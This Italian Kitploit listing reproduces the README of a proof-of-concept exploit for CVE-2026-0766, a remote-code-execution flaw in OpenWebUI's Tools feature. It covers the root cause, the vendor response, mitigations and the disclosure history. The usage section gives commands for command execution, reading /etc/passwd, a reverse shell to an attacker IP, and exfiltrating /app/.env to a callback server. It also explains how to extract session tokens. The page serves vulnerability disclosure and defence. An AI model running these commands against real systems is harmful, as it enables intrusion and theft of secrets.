Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0766 — Proof-of-concept exploit per CVE-2026-0766, una vulnerabilità di esecuzione remota di codice in OpenWebUI tramite iniezione di codice negli strumenti. Include modalità di esecuzione di comandi, lettura di file, reverse shell ed esfiltrazione cieca. | Kitploit
Strumenti/GitHubGitHub/bitt0n/cve-2026-0766
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Proof-of-concept exploit per CVE-2026-0766, una vulnerabilità di esecuzione remota di codice in OpenWebUI tramite iniezione di codice negli strumenti. Include modalità di esecuzione di comandi, lettura di file, reverse shell ed esfiltrazione cieca.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-0766: Esecuzione di Codice Remota in OpenWebUI

Repository di Ricerca sulla Sicurezza a Scopo Educativo

Questo repository contiene codice proof-of-concept per lo sfruttamento di CVE-2026-0766, una vulnerabilità di esecuzione di codice remota in OpenWebUI scoperta e pubblicata dalla Zero Day Initiative (ZDI).


⚠️ Disclaimer

Questo repository è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi.

  • Utilizza questo codice per testare i tuoi sistemi o sistemi per cui hai esplicita autorizzazione a testare
  • Utilizzalo per imparare le vulnerabilità di sicurezza delle piattaforme LLM
  • ❌ Mai utilizzarlo contro sistemi senza permesso esplicito
  • ❌ L'accesso non autorizzato a sistemi informatici è illegale

L'autore non si assume alcuna responsabilità per l'uso improprio di questo codice. Gli utenti sono gli unici responsabili di garantire che le loro attività siano conformi a tutte le leggi e normative applicabili.


📋 Panoramica della Vulnerabilità

ProprietàValore
ID CVECVE-2026-0766
Scoperta daZero Day Initiative (ZDI)
Software InteressatoOpenWebUI
Tipo di VulnerabilitàCode Injection (CWE-94)
Punteggio CVSS8.8 ALTO
Vettore CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Complessità dell'AttaccoBassa (amministratore autenticato o utente con permessi di creazione/aggiornamento strumenti può sfruttarla)

Cos'è OpenWebUI?

OpenWebUI è un'interfaccia web self-hosted per Large Language Models. Fornisce un'esperienza simile a ChatGPT che le organizzazioni possono eseguire sulla propria infrastruttura, mantenendo conversazioni e dati LLM on-premises.

La Vulnerabilità

OpenWebUI include una funzionalità "Tools" che consente agli utenti di estendere le capacità degli LLM inviando codice Python. Questo codice viene eseguito lato server tramite la funzione exec() di Python senza alcun sandboxing, validazione o controllo di sicurezza.

Flusso di sfruttamento:

  1. Un utente autenticato crea uno "Strumento" tramite POST /api/v1/tools/create
  2. Il codice Python fornito dall'utente viene memorizzato nel campo content
  3. Il server chiama exec(content, module.__dict__) in utils/plugin.py
  4. Il codice Python arbitrario viene eseguito con pieni privilegi del server
  5. L'attaccante ottiene l'Esecuzione di Codice Remota (RCE)

Punto chiave: Il codice viene eseguito al momento della creazione dello strumento, non quando l'LLM invoca lo strumento. Ciò significa che la semplice creazione di uno strumento dannoso attiva la RCE — nessuna ulteriore interazione necessaria.

Versioni Testate

Questo exploit è stato verificato su:

  • OpenWebUI v0.8.10 - Vulnerabile ✅ (testato il 2026-03-28)

La vulnerabilità è di natura architetturale (uso non sicuro di exec() su input utente) ed esiste in tutte le versioni finché non verrà rilasciata una patch di sicurezza dal team OpenWebUI.


🔍 Dettagli Tecnici

Causa Principale

La vulnerabilità risiede in backend/open_webui/utils/plugin.py:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # Pre-elaborazione minima (NON un controllo di sicurezza)
    content = replace_imports(content)

    # Crea il modulo ed esegue il codice utente
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← VULNERABILITÀ

    return module

La funzione replace_imports() riscrive solo i percorsi di importazione (cosmetico) — non limita quale codice può essere eseguito. Non c'è:

  • ❌ Nessun sandboxing (nessun ambiente di esecuzione ristretto)
  • ❌ Nessuna validazione del codice (nessuna ispezione AST o allowlisting)
  • ❌ Nessun controllo dei permessi (tutti gli utenti autenticati possono creare strumenti per impostazione predefinita)
  • ❌ Nessuna separazione dei privilegi (il codice viene eseguito come account di servizio OpenWebUI)

Risposta del Venditore

Il team OpenWebUI ha inizialmente valutato questa vulnerabilità come a bassa priorità, osservando che la creazione di strumenti richiede permessi di amministratore. Tuttavia:

  1. La delega dei permessi è comune - Molte implementazioni concedono la creazione di strumenti a power user, amministratori di workspace e sviluppatori
  2. Account amministratore compromessi - Phishing, credential stuffing e compromissione SSO possono dare agli attaccanti accesso amministrativo
  3. Violazione della difesa in profondità - Anche le azioni amministrative dovrebbero essere vincolate; l'esecuzione di codice senza restrizioni viola il principio del minimo privilegio
  4. Utilità post-compromissione - Questa vulnerabilità è preziosa nelle catene di attacco dopo l'accesso iniziale

Dopo che il venditore ha proposto che gli amministratori gestiscano questo con accesso ristretto, ZDI ha pubblicato questa come vulnerabilità 0-day (ZDI-26-032) per informare i difensori.

L'autore rispetta le sfide del mantenimento di progetti open-source. Il patching di sicurezza richiede di bilanciare le esigenze degli utenti, i vincoli architetturali e le risorse limitate. Questa pubblicazione mira ad aiutare i team di sicurezza a valutare il rischio e implementare mitigazioni.


🛠️ Proof of Concept

Installazione

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Utilizzo

Lo script exploit (exploit.py) supporta molteplici modalità di attacco:

1. Esecuzione di Comandi

Esegue comandi del sistema operativo e recupera l'output:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Lettura File

Legge file dal filesystem del server:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Reverse Shell

Genera una reverse shell (richiede un listener netcat):

root@kitploit:~
# Sulla macchina dell'attaccante:
nc -lvnp 4444

# Esegui l'exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Esfiltrazione Cieca

Invia l'output dei comandi a un server di callback HTTP:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Autenticazione

Lo script accetta sia token JWT (dal login SSO) che chiavi API:

Ottenere un token JWT:

  1. Accedi a OpenWebUI normalmente (SSO o autenticazione locale)
  2. Apri gli strumenti di sviluppo del browser (F12)
  3. Trova il tuo token:
    • Scheda Cookies: Cerca il valore del cookie token
    • Scheda Network: Copia l'header Authorization: Bearer ... da qualsiasi richiesta API
    • Console: Esegui localStorage.getItem("token")
  4. Passa il token allo script: --token eyJhbGci...

🔐 Mitigazioni

Per i Difensori

Se esegui OpenWebUI e non puoi applicare immediatamente la patch:

  1. Limita i permessi di creazione strumenti ai soli amministratori altamente fidati
  2. Controlla gli strumenti esistenti per codice dannoso (verifica il contenuto degli strumenti nel database)
  3. Esegui OpenWebUI con privilegi minimi (account di servizio dedicato, filesystem in sola lettura dove possibile)
  4. Implementa il filtraggio del traffico di rete in uscita (il container non dovrebbe avere accesso arbitrario in uscita)
  5. Monitora la creazione sospetta di strumenti (controlla gli strumenti creati al di fuori dei flussi di lavoro normali)

Correzioni Raccomandate (per i manutentori)

  1. Sostituisci exec() con un'alternativa sicura:

    • Usa RestrictedPython per l'esecuzione in sandbox
    • Analizza l'AST Python e valida rispetto a un allowlist di operazioni sicure
    • Esegui il codice degli strumenti in container isolati (gVisor, Firecracker)
  2. Aggiungi controlli dei permessi:

    • Richiedi l'approvazione dell'amministratore per i nuovi strumenti
    • Implementa il controllo degli accessi basato sui ruoli per la creazione di strumenti
    • Aggiungi un flusso di lavoro di revisione del codice prima che gli strumenti diventino attivi
  3. Difesa in profondità:

    • Esegui gli strumenti in processi separati con filtraggio delle syscall (seccomp)
    • Limita l'accesso al filesystem in sola lettura
    • Rimuovi l'accesso di rete dall'ambiente di esecuzione degli strumenti

📚 Riferimenti

  • Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • Avviso ZDI: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • Avviso di Sicurezza GitHub: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (Code Injection): https://cwe.mitre.org/data/definitions/94.html
  • OWASP Code Injection: https://owasp.org/www-community/attacks/Code_Injection

🙏 Crediti

  • Scoperta della Vulnerabilità: Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257
  • Ricerca sullo Sfruttamento e Sviluppo del PoC: Pradeep Pillai (@bitt0n)

📜 Licenza

Licenza MIT - Vedi il file LICENSE per i dettagli.

Questo codice è fornito per scopi educativi e di sicurezza difensiva. L'autore non è responsabile dell'uso improprio.


🤝 Divulgazione Responsabile

Questa vulnerabilità è stata divulgata in modo responsabile:

  1. ZDI ha scoperto e segnalato la vulnerabilità a OpenWebUI
  2. Periodo di divulgazione coordinata fornito al venditore per il patching
  3. Il venditore ha rifiutato di applicare la patch (valutata come rischio accettabile)
  4. ZDI ha pubblicato come 0-day per informare la comunità della sicurezza
  5. Questo PoC pubblicato post-divulgazione per aiutare i difensori a valutare il rischio

Se scopri vulnerabilità di sicurezza in progetti open-source, segui le pratiche di divulgazione responsabile e concedi ai manutentori il tempo di applicare la patch prima della divulgazione pubblica.


Per domande o feedback: Apri un issue in questo repository.

Scarica lo strumento